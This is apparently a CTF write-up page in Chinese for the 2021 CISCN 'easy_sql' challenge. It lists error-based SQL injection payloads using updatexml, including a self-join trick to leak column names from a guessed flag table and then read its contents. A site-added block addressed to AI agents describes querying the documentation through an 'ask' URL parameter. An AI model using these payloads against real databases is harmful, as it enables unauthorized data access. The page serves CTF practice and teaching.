# easy\_sql

无列名报错注入，猜了个flag表

```
# 数据库
admin') or updatexml(1,concat(0x7e,(select database()),0x7e),1);#
# 字段名
admin') or updatexml(1,concat(0x7e,(select * from (select * from security.flag as a join flag b)c),0x7e),1);#
admin') or updatexml(1,concat(0x7e,(select * from (select * from security.flag as a join flag b using(id))c),0x7e),1);#
admin') or updatexml(1,concat(0x7e,(select * from (select * from security.flag as a join flag b using(id, no))c),0x7e),1);#
# 字段内容
admin') or updatexml(1,concat(0x7e,((select `515cfb55-44dc-4022-a06e-99fdfc64d691` from security.flag)),0x7e),1);#
admin') or updatexml(1,concat(0x7e,right((select `515cfb55-44dc-4022-a06e-99fdfc64d691` from security.flag), 30),0x7e),1);#
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook-88.gitbook.io/ctf-writeup/2021/2021-ciscn/easy_sql.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.